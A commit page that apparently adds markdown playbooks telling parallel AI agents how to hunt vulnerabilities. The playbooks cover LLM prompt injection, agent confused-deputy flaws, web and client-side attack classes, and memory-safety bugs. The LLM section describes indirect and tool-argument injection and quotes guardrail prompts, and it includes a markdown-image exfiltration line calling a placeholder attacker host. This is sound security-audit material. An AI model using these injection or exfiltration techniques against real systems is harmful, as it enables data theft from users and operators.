Commit 16c0617b authored by ThinhNC's avatar ThinhNC

Merge branch 'refactor/audit-fixes-and-dynamic-rbac-permissions' into 'develop'

Refactor/audit fixes and dynamic rbac permissions

See merge request !9
parents 3d0ed01b 998ad180
# AI, LLM, and Agent Hunting
#### When to use this file
Reach for this file when the target embeds a language model in a trust-sensitive path: chatbots and assistants, RAG pipelines, agent/tool-calling loops, MCP servers and clients, code that builds prompts from untrusted input, or code that consumes model output and acts on it. These targets fail differently from ordinary web apps — the dangerous data flow is _untrusted text → model → capability or sink_, and the model is a confused deputy that will faithfully carry attacker instructions across a trust boundary the developer assumed the model would respect. It won't.
Use this alongside `ATTACK-CLASSES.md`, not instead of it: the transport is still HTTP, the tools still hit SQL/shell/filesystem sinks, and access control still applies. This file covers the model-specific layer on top.
Pick the relevant classes based on Phase 1. Split per subsystem (retrieval, tool dispatch, output rendering) for large targets.
## Core discipline (include in every agent prompt for this domain)
```
- "The model can be prompt-injected" is NOT a finding on its own. Prompt injection that only affects the attacker's own session and their own output is a party trick. A finding requires the injection to CROSS A BOUNDARY: reach a victim's context, invoke a capability the requester lacks, exfiltrate data the requester can't see, or drive a downstream sink the attacker couldn't otherwise reach (server-side SQL/shell/SSRF beyond their own session). Name the boundary crossed.
- The bug is in the CODE, not the model. The finding is the missing code-level gate between attacker-influenceable input and a dangerous capability or sink — point at the line that grants the capability, trusts the output, or feeds the context, not the model's mood. Non-determinism is not a defense: the model's probability of complying is an exploitability detail, never a reporting blocker. If the code makes the output harmless (output that never reaches a sink), there is no finding regardless of what the model can be talked into saying.
- Model output is untrusted input. Trace it to its sink with the same rigor as any user input. "It came from our model" is the exact assumption being attacked.
- A guardrail prompt ("never reveal the system prompt", "refuse harmful requests") is not a security control. Do not credit it as a mitigation. If the only thing standing between the attacker and impact is instructions in the prompt, the boundary is undefended.
```
## Prompt-injection attack classes (subagent_type: `general`)
**Indirect injection via retrieved / ingested content**
The high-value class. Attacker plants instructions in data the model later ingests in _someone else's_ session: a RAG document, an indexed web page, a file upload, an email, an issue/PR body, a tool's response, a filename. Trace every source that reaches the prompt context and ask "who can write this, and whose session does it fire in?" Find the ingestion path; confirm the content reaches the context window unfiltered; confirm that context has a capability worth hijacking.
**Tool-argument injection (model output → sink)**
The model emits a tool call and the code executes it with model-generated arguments. Those arguments hit a real sink — SQL (`query(args.filter)`), shell (`exec(args.cmd)`), file path (`readFile(args.path)`), HTTP (`fetch(args.url)` → SSRF), or another API. The code trusts the arguments because "the model produced structured output." Trace each tool handler's parameters to their sink and validate them at the handler like any request body.
**Direct injection into a privileged capability**
Direct (same-session) injection only matters when the model can do something the _user_ is not authorized to do directly. If the assistant runs tools under a service identity, or has a system prompt containing secrets, or can reach internal endpoints, then a user talking the model into using those crosses a privilege boundary even in their own session. If the model can only do what the user could already do via the UI, direct injection is not a finding. Hunt step: enumerate every capability the assistant holds that its users don't, then check whether same-session user text can steer the model into each.
**Prompt-template / delimiter injection**
Untrusted input concatenated into the prompt without fencing or role separation, so the attacker forges structure the orchestrator trusts: a fake system turn, a fabricated prior conversation turn, or a counterfeit tool result. The finding is the assembly code — the concatenation that lets user bytes impersonate a trusted role — not the model obeying them. Find where the prompt is built and whether untrusted spans are delimited or escaped from control text.
## Agent and tool-calling attack classes (subagent_type: `general`)
**Excessive agency / confused-deputy authority**
The agent executes tools under _its own_ identity (service account, broad API key, DB superuser) rather than the requesting user's. Every tool call is then a privilege-escalation vector: the user asks, the agent acts with more authority than the user has. Check whether tool execution re-checks the _user's_ permission on the _specific resource_, or just that "the agent is allowed to call this tool." The same gap at the parameter level is IDOR through tools: `get_document(id)` / `read_file(path)` with the ID filled from user text and no check that _this_ user may reach _that_ resource — endpoint IDOR reached by asking. Common false positive: a shared service credential that runs every query _scoped to the authenticated user's ID_ is normal, safe architecture — not a confused deputy.
**Unbounded action loops / cost and side-effect abuse**
Agent loops that call tools until a goal is met: can an attacker drive an expensive or irreversible loop (spend, send, delete, external API calls) through a single crafted request? Look for tool calls with side effects inside a model-controlled iteration with no per-action authorization or budget. The impact that makes this a finding crosses out of the attacker's own session — it hits the operator's bill, a shared rate/quota limit, or other tenants' availability (denial-of-wallet), so it survives the "capability they already have" test even when the attacker only touches their own request.
**Sub-agent / MCP trust inheritance**
When an agent spawns sub-agents or connects to MCP servers, what identity and context do they inherit? A sub-agent or tool server that receives the full session, credentials, or a broader capability set than the task needs is a lateral-movement primitive. A malicious or compromised MCP server is an attacker that speaks directly into the model's context — treat its responses as indirect injection.
## Output-handling and disclosure attack classes (subagent_type: `general`)
**Insecure output rendering (XSS / injection via model output)**
Model output rendered as HTML/Markdown without sanitization → stored/reflected XSS. Markdown image/link rendering is the classic exfiltration channel: the model emits `![x](https://attacker/?d=<secret from context>)` and the client fetches it, leaking context to the attacker's server. Check where model output is displayed and whether it's treated as trusted HTML. The image-exfil channel only fires if the render surface auto-loads remote resources and no CSP `img-src` restricts the destination — if the rendering client is out of scope or unknown (native app, terminal, CSP-locked web UI), the sink is unconfirmed: treat it as unverifiable, not a finding.
**System-prompt / context extraction to a real secret**
Extraction is only a finding if the context actually contains something sensitive — API keys, other users' data, internal URLs, hidden business rules that gate access. Confirm the secret is really in the context (read the prompt-assembly code) before reporting. A leaked generic "you are a helpful assistant" prompt is not a finding.
**Cross-session / multi-tenant context bleed**
Conversation history, embeddings, or the KV/prompt cache keyed too broadly, so one user's context appears in another's session. Trace the cache/session key: is it scoped per user, or is there a path where a shared key mixes tenants? Related: retrieval (vector or keyword search) that lacks a per-tenant metadata/ACL filter at query time pulls another tenant's chunks into context — IDOR at the retrieval layer; confirm the query itself applies the tenant filter, not just that documents carry a tenant field. These are code bugs (bad cache key, shared buffer, unfiltered query), not model behavior — verify them in the storage/retrieval layer.
## Universal moves (apply across the above)
- **Draw the boundary before hunting.** Enumerate: what identity do tools run as, what's in the context window, who can write to each context source, where does output go. Most AI findings fall out of a correct map of these four; most AI false positives come from not drawing it.
- **Find the capability, then find who can reach it.** Start from the most dangerous tool (delete, spend, exec, fetch-internal) and work backwards to whether untrusted text can reach its arguments. Power × reachability, same as any privileged interface.
## Validation rules (apply before reporting ANY finding here)
1. **Name the boundary crossed.** State exactly who the attacker is, whose session/identity the payload executes in, and what they get that they couldn't get directly. If attacker and victim are the same principal and the capability is one they already have, it is not a finding.
2. **For confused-deputy / excessive-agency claims, prove both halves.** Show (a) the tool performs no per-resource check scoped to the requesting user, AND (b) the action is one the user could not perform through a normal authenticated request. A shared service credential with per-user query scoping fails both tests and is not a finding.
3. **Cite the trusting line and prove the taint reaches it.** For tool-argument and output findings, show the concrete sink (the `exec`/`query`/`fetch`/`innerHTML`) with model-influenced data reaching it unvalidated; for extraction/disclosure findings, cite the prompt-assembly code and confirm the secret or cross-tenant data is really in the context. If you can't cite the code, you have a black-box observation, not a finding.
4. **Don't assert capabilities you can't see in source.** Claims that depend on deployment facts not in the repo — whether an "internal-only" endpoint is actually unreachable by the user, what a tool's target really exposes, which client renders the output — are unverifiable from source. If the user could reach the same thing directly (flat network, same origin), it is not a privilege crossing. Confirm the capability and the boundary in code, or mark it unverifiable rather than reporting it.
5. **Return ONLY confirmed findings** with the boundary crossed, the trusting code path, and the observable result — or "No exploitable AI/LLM issues found" if that's honest.
# Attack Classes
#### Attack classes — choose and split based on Phase 1
Select attack classes relevant to the application type. Not every class applies to every codebase. The list below is a starting point — add application-specific ones based on Phase 1. For large codebases, split classes per subsystem.
> **Native / binary / kernel targets** (C/C++/Rust-unsafe, kernel modules, parsers and decoders, reverse-engineering tooling, runtimes/JITs, firmware): the web-oriented classes below fit poorly. Use the memory-safety, binary, and kernel classes in [MEMORY-SAFETY-AND-BINARY.md](MEMORY-SAFETY-AND-BINARY.md) instead of or alongside them.
>
> **AI / LLM / agent targets** (chatbots, RAG pipelines, tool-calling agents, MCP servers/clients, anything that builds prompts from untrusted input or acts on model output): use the prompt-injection, agency, and output-handling classes in [AI-AND-LLM.md](AI-AND-LLM.md) alongside the classes below.
>
> **HTTP-protocol and auth targets** (reverse proxies, CDNs, API gateways, custom HTTP parsers, and anything implementing sessions, JWT, OAuth/OIDC, or SAML): use the request-framing, cache, and auth-protocol classes in [WEB-PROTOCOL-AND-AUTH.md](WEB-PROTOCOL-AND-AUTH.md) alongside the classes below.
>
> **Client-side / browser targets** (SPAs, browser extensions, embedded webviews, anything using `postMessage`, CORS, or WebSockets, or that renders untrusted content in the DOM): use the DOM-injection, messaging-trust, and UI-redress classes in [CLIENT-SIDE.md](CLIENT-SIDE.md) alongside the classes below.
**Injection** (subagent_type: `general`)
Trace untrusted input from entry point to dangerous sink. What counts as a "dangerous sink" depends on the application:
- Web apps: SQL queries, HTML output, shell commands, template engines, file paths, HTTP redirects, deserialization
- Libraries: any function that processes caller-supplied data without validation — buffer operations, parsers, format strings
- CLI tools: shell command construction, file path handling, environment variable interpolation
- Services: query construction, message serialization, log injection, LDAP/XPATH queries
- Client-side (browser/JS): DOM XSS, prototype pollution, `postMessage`/origin trust, and other browser-side classes — see [CLIENT-SIDE.md](CLIENT-SIDE.md)
Don't just check the obvious direct paths. Look for indirect injection: data stored safely, then retrieved and used in a dangerous context by different code. Look for injection through field names, keys, headers, and metadata — not just values. Look for injection into secondary systems (logs, caches, search indexes, analytics).
**Access control** (subagent_type: `general`)
Can a caller do something they shouldn't? Go beyond checking whether permission checks exist — verify they check the _right_ permission for the _right_ resource via the _right_ mechanism:
- Is there a path to the same state change that checks a different (weaker) permission?
- Can a field in the request body override what the permission system intended to restrict?
- Are there endpoints that gate on authentication but forget authorization?
- Does the same resource have multiple access paths with inconsistent checks?
- What about bulk/batch/export/import operations — do they enforce per-item permissions?
For complex access models, split into separate agents for auth bypass vs authorization logic.
**Resource and file handling** (subagent_type: `general`)
- Path traversal (reading/writing outside intended directories) — including through symlinks, encoded sequences, and null bytes
- SSRF (making the application fetch attacker-controlled URLs) — including through redirects, DNS rebinding, and URL parser differentials
- Unsafe deserialization, archive extraction (zip slip), temp file handling
- Memory safety (if applicable): buffer overflows, use-after-free, integer overflow
- Race conditions on file operations (TOCTOU between check and use)
**Cryptography and secrets** (subagent_type: `general`)
- Weak randomness for security-critical values (tokens, keys, nonces)
- Hardcoded secrets, secrets in logs, error messages, URLs, or client-visible responses
- Broken key derivation, missing HMAC verification, nonce reuse
- Timing side-channels on secret comparison
- Misuse of crypto primitives (ECB mode, unauthenticated encryption, static IVs, etc.)
- What happens when crypto operations fail? Does the error path fall back to no-crypto?
**Business logic** (subagent_type: `general`)
This is where the real bugs hide. Standard scanners can't find logic errors. For each major workflow:
- **State machine violations**: Can you skip steps? Go backwards? Reach an invalid state? What happens if you replay a completed flow? What about partial failure — if step 2 of 3 fails, is step 1 rolled back?
- **Race conditions with business impact**: Concurrent operations that produce invalid states (double-spend, double-approve, lost updates). Focus on operations that check-then-act non-atomically.
- **Numeric/quantity manipulation**: Negative values, zero values, overflow, precision loss, type coercion between string and number.
- **Access boundary violations**: Not "does the permission check exist" but "is it the right check for the business rule?" Can input to one operation bypass a restriction enforced on a different operation for the same effect?
- **Implicit trust assumptions**: Data from storage, config, other components, or plugins assumed safe because "we validated it on the way in." What if a different code path wrote it?
- **Time-based logic**: Expiry checks, scheduling, rate windows, clock skew. What happens at exact boundary moments? What about timezone differences between components?
- **Default and fallback behavior**: What's the security posture when config is missing? When a feature flag is off? When a dependency is unavailable? When the system is mid-migration?
**Feature abuse and data leakage** (subagent_type: `general`)
Legitimate features used for unintended purposes. Don't look for bugs in the code — look for bugs in the design:
- **Export/backup as exfiltration**: Can a low-privilege user trigger an export, snapshot, or backup that includes data above their access level? Can they export other users' data? Does the export include deleted/draft/private content? Revision history that was supposed to be pruned?
- **Import/restore as injection**: Can import overwrite existing data? Can it create records that bypass normal validation? Can it inject content into collections the user doesn't have write access to? Does it respect the same permission model as the UI?
- **Search/filter/sort as oracle**: Can search queries reveal whether content exists that the user can't directly access? Do filter parameters let users probe statuses, roles, or fields they shouldn't know about? Does sorting by a hidden field reveal its values through result ordering?
- **Enumeration through side effects**: Do error messages differ between "doesn't exist" and "you don't have access"? Do response times differ? Response sizes? HTTP status codes? Can you enumerate users through password reset, invite, or registration flows?
- **Preview/draft/staging leakage**: Are preview tokens scoped to one item or do they unlock broader access? Can draft content be discovered through search, RSS feeds, sitemaps, or API listing endpoints? Can cache headers cause a CDN to serve private content publicly?
- **Notification/webhook as SSRF**: Can a user set a notification URL, webhook URL, or callback URL that the server fetches? Is it validated against internal networks? What about after a redirect?
**Chained attacks and trust boundaries** (subagent_type: `general`)
Individual safe behaviors that become dangerous in combination. Think about the full system:
- **Multi-step chains**: Map out what a low-privilege user CAN do, then look for combinations. Info disclosure (learning a resource ID) + IDOR (accessing it directly) + missing rate limit (brute-forcing the ID space). Open redirect + OAuth callback = token theft. Benign XSS in a low-value context + CSRF to escalate it.
- **Cross-component trust gaps**: Component A validates input and passes it to component B. Does B re-validate or trust A? What if A's validation is subtly different from what B needs (e.g., A allows 255 chars but B truncates at 128, creating a different string)? What about plugin/extension trust — can third-party code manipulate core state, bypass permission hooks, or access storage directly?
- **Second-order attacks**: Data safe when stored but dangerous when used in a different context. A field name safe in SQL becomes a key in a JSON path expression. A slug safe in a URL becomes part of a file path. Content stored HTML-escaped gets double-escaped or rendered in a context that expects raw text. Config values stored as strings get parsed as URLs, regexes, or templates.
- **Scope and capability escalation**: Tokens, API keys, or OAuth scopes that grant broader access than their name implies. A `read` scope that also allows listing draft content. Session cookies that survive a role downgrade. Plugin capabilities that provide a stepping stone to higher access. MCP or AI tool integrations that inherit the user's full session.
- **Timing and ordering**: Can you use a feature before setup/migration is complete? Act on a resource between soft-delete and hard-delete? Use a token between revocation and cache expiry? Exploit the gap between two non-atomic operations (check-then-act, read-then-write, validate-then-use)?
- **Rollback and recovery abuse**: What happens when an operation is undone? Undelete, restore from backup, revert a revision, cancel a pending action. Does the rollback restore more than intended? Does it bypass current permissions? Can you restore a resource into a state that's no longer valid?
**Wildcard** (subagent_type: `general`)
You are not given a category. You are given the codebase and told to break it.
Ignore the standard vulnerability classes — other agents are covering those. Your job is to find the thing nobody thought to look for. Read code that looks boring. Follow functions that seem unrelated to security. Get curious about the weird stuff.
Some starting points, but don't limit yourself to these:
- What's the strangest code in the codebase? Why does it exist? What happens if it's abused?
- Are there any features that feel half-finished, experimental, or bolted on? Those have the weakest security because they got the least review.
- What happens if you use the API in a way the frontend never would? The UI constrains users, but the API doesn't. What API calls are possible but never made by the client?
- Are there any hidden or undocumented endpoints, parameters, headers, or features? Look at route registrations, middleware, and config for things that aren't in the docs.
- What happens when you mix features that weren't designed to work together? Localization + preview + caching. Import + plugins + webhooks. OAuth + impersonation + API keys.
- Is there anything interesting in the git history? Reverted security fixes, commented-out auth checks, secrets that were committed then removed (still in history).
- What would you do if you had a valid account but wanted to cause maximum damage without being detected? Not escalation — sabotage. Corrupting data, poisoning caches, exhausting resources, creating confusing state.
- Are there any operations that are irreversible? What if you trick an admin into performing one?
- What assumptions does the code make about the environment? That the database is local, that the clock is accurate, that DNS is trustworthy, that the filesystem is case-sensitive?
- Look at the test files — what are they NOT testing? What edge cases did the developer think about (tests exist) vs. what they didn't (no tests)?
Follow rabbit holes. If something looks weird, dig. If a function has a comment explaining why it's safe, verify the explanation. If a variable is named `temp` or `hack` or `legacy`, read every line of it.
**Obvious things** (subagent_type: `general`)
The other agents are hunting for subtle bugs. This agent checks the dumb stuff that's easy to overlook because everyone assumes someone else already checked it:
- Are there any hardcoded passwords, API keys, tokens, or secrets in the source? (grep for `password`, `secret`, `apikey`, `token`, `Bearer`, `-----BEGIN`, common default passwords)
- Are there any TODO/FIXME/HACK/XXX comments that reference security? (`TODO: add auth`, `FIXME: validate input`, `HACK: skip permission check`)
- Is debug mode / dev mode properly gated? Can it be enabled in production via environment variable, query parameter, or header?
- Are there test/example/seed credentials that work in production?
- Is there a `/debug`, `/admin`, `/test`, `/status`, `/health`, `/metrics`, `/env`, `/.env`, `/config` endpoint that's unprotected?
- Are there any `.env`, `.env.local`, `credentials.json`, `*.pem`, `*.key` files checked into the repo?
- Does the `.gitignore` actually cover secrets, uploads, and local config?
- Are dependencies pinned? Are there known CVEs in the dependency tree? (check lockfiles)
- Are there any `eval()`, `exec()`, `child_process`, `Function()`, `vm.runInContext`, `import()` with dynamic input?
- Are CORS headers set to `*` or overly permissive? Is `Access-Control-Allow-Credentials` combined with a wildcard origin?
- Are cookies missing `HttpOnly`, `Secure`, or `SameSite` attributes?
- Are there any open redirects? (parameters named `redirect`, `return`, `next`, `url`, `goto`, `continue` that feed into redirects without validation)
- Is TLS enforced? Are there any HTTP-only endpoints?
- Are error responses in production returning stack traces, internal paths, or SQL errors?
This agent doesn't need to be creative. It needs to be thorough and literal. Check every item. Report what it finds.
IMPORTANT: For any finding this agent reports, it must verify the full code path, not just surface appearance. If a cookie is missing `HttpOnly`, check whether the cookie contains security-sensitive data and whether JS needs to read it by design. If an error message contains a field name, check whether the field is ever actually populated with sensitive data. A flag is not a finding — trace the impact before reporting.
# Client-Side and Browser Hunting
#### When to use this file
Reach for this file when meaningful trust decisions or untrusted rendering happen in the browser: single-page apps, browser extensions, embedded webviews, and anything that renders attacker-influenceable content into the DOM, receives cross-window messages, opens WebSockets, or serves credentialed cross-origin responses. These bugs live in code the server never executes — the fragment after `#`, `window.name`, a `postMessage` payload — so server-side escaping and the classes in `ATTACK-CLASSES.md` don't cover them.
Use alongside `ATTACK-CLASSES.md`. The injection class there covers server-side sinks; this file covers the browser-side source→sink paths, cross-origin trust, and UI-redress classes that only exist client-side.
Pick the relevant classes based on Phase 1. Split per surface (DOM rendering, message/WebSocket handlers, auth-carrying endpoints) for large front-ends.
## Core discipline (include in every agent prompt for this domain)
```
- Client-side taint needs a controllable SOURCE and an executing SINK on the client path. A source with no sink, or a sink fed only server-rendered trusted data, is not a finding. Name both and show untrusted data reaching the sink unsanitized.
- The impact must cross to a victim or cross an origin. XSS in the attacker's own DOM, or a "leak" of the attacker's own data, is not a finding. State whose session executes it or whose cross-origin data it steals.
- Framework auto-escaping is a real mitigation. React/Vue/Angular escape interpolation by default — the finding is where the code opts OUT (`dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrust*`, `$sce.trustAs*`). Do not report escaped interpolation.
- A missing header or attribute (X-Frame-Options, frame-ancestors, rel=noopener, SameSite) is only a finding with a concrete sensitive action behind it. A bare missing flag with no state-changing action or credentialed cross-origin read is a hardening note.
```
## DOM-based injection attack classes (subagent_type: `general`)
**DOM-based XSS**
Trace client-side sources — `location.hash`/`search`/`href`/`pathname`, `document.referrer`, `window.name`, `postMessage` data, `document.cookie` — into execution sinks: `innerHTML`/`outerHTML`, `document.write`, `eval`, `Function`, `setTimeout`/`setInterval` with a string argument, `element.src`/`href` set to a `javascript:` URI, jQuery `$(...)`/`.html()`, or framework escape hatches (`dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrustHtml`). The bug is source→sink with no sanitization _on the client path_; server-side escaping never sees fragment or `window.name` data.
**DOM clobbering**
Attacker-injected `id`/`name` attributes — surviving an HTML sanitizer that strips script but allows attributes — that shadow a global the script later reads (`window.config`, a `form.action`, a flag checked before initialization). Look for code reading `window.X`/`document.X` that an injected element named `X` can override. Requires a markup-injection sink that permits `id`/`name`.
## Client-side trust and messaging attack classes (subagent_type: `general`)
**postMessage origin trust**
A `message` handler that acts on `event.data` (writes the DOM, calls a privileged function, stores a token) without checking `event.origin` against an allowlist, or with a weak check (`indexOf`, `startsWith`, unanchored regex, `endsWith` on the host). Also the send side: `postMessage(data, '*')` leaking data to any embedder. Confirm the handler does something security-relevant with the data.
**Cross-site WebSocket hijacking (CSWSH)**
A WebSocket handshake authenticated only by ambient cookies, with no `Origin` check and no per-session CSRF token — an attacker page opens a socket in the victim's authenticated context and reads/writes their data. Find the upgrade handler; check whether it validates `Origin` and binds to a token, not just the cookie.
**CORS with credentials**
A server that reflects the request `Origin` into `Access-Control-Allow-Origin` while sending `Access-Control-Allow-Credentials: true`, or allowlists `null` or a weak suffix match — any origin then reads authenticated responses. The finding is reflection or weak-match _with credentials_, not a wildcard alone (`*` with credentials is rejected by browsers).
## UI-redress and navigation attack classes (subagent_type: `general`)
**Clickjacking**
A state-changing action (transfer, delete, grant, confirm) reachable in a framed page with no `X-Frame-Options: DENY`/`SAMEORIGIN` and no `frame-ancestors` CSP and no UI framebusting. A missing frame guard on a read-only page with no sensitive action is not a finding — require the action.
**Reverse tabnabbing**
A link whose target is attacker-influenceable, opened with `target="_blank"`, letting the opened page rewrite `window.opener.location` to a phishing origin. Modern browsers imply `noopener` for `target="_blank"`, so this is a finding only where the code sets `rel="opener"` explicitly, uses `window.open` without `noopener`, or the threat model includes older browsers — check before reporting.
**Client-side open redirect / navigation**
A navigation built from a client source (`location = params.get('next')`, `location.hash` fed into `location.href`, a router redirect) with no allowlist — including `javascript:`/`data:` schemes that promote the redirect into XSS. Distinct from a server open-redirect: the sink is in JS, so the server never sees it.
## Prototype pollution attack classes (subagent_type: `general`)
**Prototype pollution and gadget chain**
An attacker-controlled key (`__proto__`, `constructor.prototype`) reaching a _nested/recursive_ write — a deep merge, `lodash.set`-style path assignment, `obj[a][b]=v` with an attacker-controlled segment, or a query-string parser that builds nested objects — that lands on `Object.prototype`. A plain `JSON.parse` or shallow `Object.assign` does NOT pollute. Require the recursive sink AND a gadget that reads the polluted property (an options object checked with `opts.isAdmin`, a template reading a config default, a sink that concatenates a polluted `src`). Pollution with no reachable gadget is not exploitable; the gadget is what turns it into XSS, auth bypass, or (in Node) RCE.
## Universal moves (apply across the above)
- **Start from the sink and walk back to a client source.** Grep the execution sinks (`innerHTML`, `eval`, `document.write`, `dangerouslySetInnerHTML`, `postMessage`, `new WebSocket`) and trace each argument back to `location`/`name`/`referrer`/message data. A sink fed only server-rendered trusted data is not a finding.
- **Server escaping ends where the fragment begins.** Data after `#`, plus `window.name` and cross-window messages, never reaches the server — so server-side filters can't see it. That blind spot is the DOM-XSS goldmine.
- **Enumerate the escape hatches.** In an auto-escaping framework, the candidate list _is_ every `dangerouslySetInnerHTML`/`v-html`/`bypassSecurityTrust*`/`$sce.trustAs*` call. Start there.
## Validation rules (apply before reporting ANY finding here)
1. **Confirm a controllable source AND an executing sink on the client path.** Cite the source (`location.hash`, `event.data`, `window.name`) and the sink (`innerHTML`, `eval`, navigation), and show untrusted data reaching the sink without sanitization. A source with no sink, or a sink fed only trusted data, is not a finding.
2. **For prototype pollution, prove the recursive write AND a gadget.** Show the nested/recursive assignment that reaches `Object.prototype`, then the code that later reads the polluted property to a security-relevant effect. Pollution with no reachable gadget is not exploitable.
3. **For messaging / CORS / WebSocket, show the origin check is absent or weak.** Cite the handler and the missing or `indexOf`/`startsWith`/unanchored-regex origin check, and that the data drives a security-relevant action or a credentialed cross-origin read. Reflection plus credentials, not a bare wildcard.
4. **For UI-redress, require the sensitive action behind the missing guard.** Name the state-changing action that gets framed (clickjacking) or the attacker-controlled `_blank` link (tabnabbing). A missing `X-Frame-Options`/`rel=noopener` with nothing sensitive behind it is a hardening note — and framebusting, `frame-ancestors`, or the browser's `noopener` default may already defeat it. Check before reporting.
5. **Return ONLY confirmed findings** with the client source→sink path and whose session it fires in — or "No exploitable client-side issues found" if that's honest.
# Vulnerability Hunting
### Phase 2: Hunt for vulnerabilities
Launch **multiple `general` agents in parallel** via the Task tool. Use `general`, not `research` — general agents can spawn their own sub-agents via the Task tool, so when a hunter finds a rabbit hole that needs deeper investigation (e.g., tracing injection into an auth subsystem it doesn't fully understand), it can spin up a focused `research` sub-agent rather than trying to do everything in one context window.
Each agent gets the architecture summary from Phase 1 injected into its prompt plus the hunting methodology and validation rules. Launch them in a single message so they run concurrently.
**How many agents?** Use Phase 1 to decide. More focused agents produce better results than broad ones that run out of context. For a small library, 3-4 agents may suffice. For a large application with distinct subsystems, launch 8-12+ — split by attack class AND by subsystem. If Phase 1 revealed an auth system, a plugin system, a media pipeline, and a comment engine, each of those could warrant its own injection agent, its own logic agent, etc.
Every agent prompt MUST include:
1. The architecture summary from Phase 1 (copy it in verbatim)
2. The specific attack class and scope to investigate
3. Relevant file paths from Phase 1 as starting points
4. The hunting methodology (below)
5. The validation rules (below)
#### Hunting methodology — include in every Phase 2 agent prompt
Tell each agent to think like an attacker, not a code reviewer:
```
## How to hunt
Don't just check if defenses exist. Try to break them.
READ THE CODE AT DEPTH. Don't stop at the first function. Follow the data through
every layer — from the entry point through validation, transformation, storage, retrieval,
and output. Bugs live in the gaps between layers.
Think about these angles:
1. THE HAPPY PATH IS DEFENDED. ATTACK THE SAD PATH.
Error handlers, fallback branches, catch blocks, default cases, timeout paths,
retry logic, cleanup routines. What happens when things fail? Are errors handled
with the same rigor as success? Does a failed validation leave state half-modified?
2. WHAT HAPPENS AT BOUNDARIES?
Empty input. Maximum-length input. Null vs undefined vs missing. Zero. Negative numbers.
Unicode edge cases. The first item and the last item. One more than the maximum. Exactly
at the rate limit. The moment a token expires.
3. WHAT DO COMPONENTS ASSUME ABOUT EACH OTHER?
Does the database layer assume the API layer validated input? Does the renderer assume
content was sanitized on write? Does the auth middleware assume routes register themselves
correctly? Find where trust is implicit and test whether it's justified.
4. WHAT IF OPERATIONS HAPPEN IN THE WRONG ORDER?
Call step 3 before step 1. Call delete during create. Send the callback before the request.
Hit the confirmation endpoint without starting the flow. Replay a completed flow.
5. WHAT IF TWO THINGS HAPPEN AT ONCE?
Two requests to the same resource. Modify while reading. Delete while iterating.
Publish while someone else is editing. Two users claiming the same unique resource.
6. WHERE DO TWO PARSERS OR VALIDATORS DISAGREE?
Input accepted by the schema but rejected by the database. URL parsed differently by
the router vs the application code. Content-type header says one thing, body is another.
Filename extension vs MIME type vs magic bytes.
7. WHAT SURVIVES A ROUND TRIP?
Data stored then retrieved — is it the same? Does encoding change? Does escaping
double-up? Is a relative path resolved differently on read vs write? Does serialization
lose type information?
8. WHAT DOES THE CONFIGURATION CONTROL?
What happens when config is missing or default? Can an environment variable override a
security control? Does a feature flag disable validation? What's the security posture
during setup/first-run before config is complete?
9. FOLLOW THE MONEY (OR THE PRIVILEGE).
For every operation that changes state, ask: who authorized this? Trace back to the
permission check. Is it checking the right permission? Is it checking against the right
resource? Is there a parallel path to the same state change that checks differently
or not at all?
10. LOOK FOR LEAKED CONTEXT.
Error messages that reveal internal paths. Stack traces in production. Timing differences
that reveal whether a record exists. Response size differences. HTTP headers that
disclose versions. Debug endpoints that survived into production.
11. WHAT PARAMETERS OVERRIDE SECURITY-RELEVANT DEFAULTS?
Where a default is safe but a user-supplied parameter can change it. Look for
every input that overrides a security-relevant default and check if the override
is gated by appropriate permissions.
12. WHERE DO UNVERIFIED CLAIMS DRIVE TRUST DECISIONS?
Anywhere self-declared identity, capability, or metadata influences an access
or trust decision without independent verification.
GO DEEP, AND PROVE IT. You can spawn sub-agents: if evaluating a candidate finding needs
deep understanding of a subsystem, use the Task tool to launch a research agent instead of
holding everything in one context. And where the code is locally runnable, don't just reason
about it — extract the suspect function into a minimal harness (or build and run the target)
and test the hypothesis directly. A reproduced result beats an argued one.
YOUR SCOPE IS YOUR PRIMARY FOCUS, NOT A BOUNDARY.
If while investigating your assigned area you notice something wrong in a different
category — a permission issue while tracing injection, a race condition while reviewing
auth — report it. Don't ignore a bug because it's "not your area." Attackers don't
respect category boundaries.
## Validation rules — apply before reporting ANY finding
1. You MUST construct a concrete attack (exact inputs, requests, or action sequence)
2. The attack MUST achieve meaningful impact (not just "learn field names" or "cause an error")
3. Check if another layer already prevents exploitation — if so, it's a hardening note, not a finding
4. If the baseline comparable has the same pattern, note whether it's been exploited there
5. If your exploit depends on parser/runtime behavior, verify against the relevant spec or implementation — do not reason from intuition.
6. Return ONLY confirmed findings with concrete attacks, or "No exploitable vulnerabilities found" if that's honest.
```
# Memory Safety, Binary, and Kernel Hunting
#### When to use this file
The attack classes in `ATTACK-CLASSES.md` are tuned for web apps, APIs, and services. Reach for _this_ file when the target processes untrusted bytes in a memory-unsafe context: C/C++/Objective-C, Rust `unsafe`, kernel modules and drivers, parsers and decoders (image/video/font/archive/PDB), reverse-engineering and dev tooling, network daemons, firmware, and language runtimes/JITs. These targets fail differently from web apps — the bug is a memory corruption or a logic error in privileged code, not an injection or an access-control gap — so the hunt needs a different lens.
Pick the relevant classes based on Phase 1. Split per subsystem for large targets.
## Core discipline (include in every agent prompt for this domain)
```
- A buffer sized for the common case can still overflow on adversarial input. Verify every "this length is bounded" claim against the WORST case, not the happy path.
- "Huge count = guaranteed crash" is FALSE. An oversized copy length is size- and libc-dependent: it often faults, but the copy primitive can also wrap or land a short, scattered write first. Determine the actual write behavior before downgrading to DoS-only.
- Static offsets are a guess; the crash dump is truth. An unreproduced bug is not a bug — if you claim exploitability, say exactly which input reaches which sink and what the observable result is.
- Sanitizer silence ≠ safety where the deref is outside instrumented code (hand-written asm, JIT-emitted, intra-allocation). Don't trust a clean ASan run for those.
```
## Memory-safety attack classes (subagent_type: `general`)
**Spatial: out-of-bounds read/write**
- **Length subtraction underflow** — a copy/loop bound is `a - b` (`uri.len - prefix`, `total - consumed`) where the attacker can make `b > a`. Negative → casts to ~SIZE_MAX. Map which bytes land where; don't assume "just a crash."
- **Operator-precedence / multi-term length errors** — an unparenthesized `+`/`-` length chain (`endp - begin + consume`) that silently over-adds when one term is attacker-sized. Audit each CALLER's value of the variable term — the common caller is often correct-by-accident on the zero path and survives testing.
- **`sizeof(*p)` vs `sizeof(element)` pointer-depth confusion** — an allocation/copy size computed one indirection too deep (`gid_t **``sizeof(*p)`=8 not 4). The bounds check passes because it uses the same wrong unit. Compiled tell: `shl $0x3` where `shl $0x2` was meant.
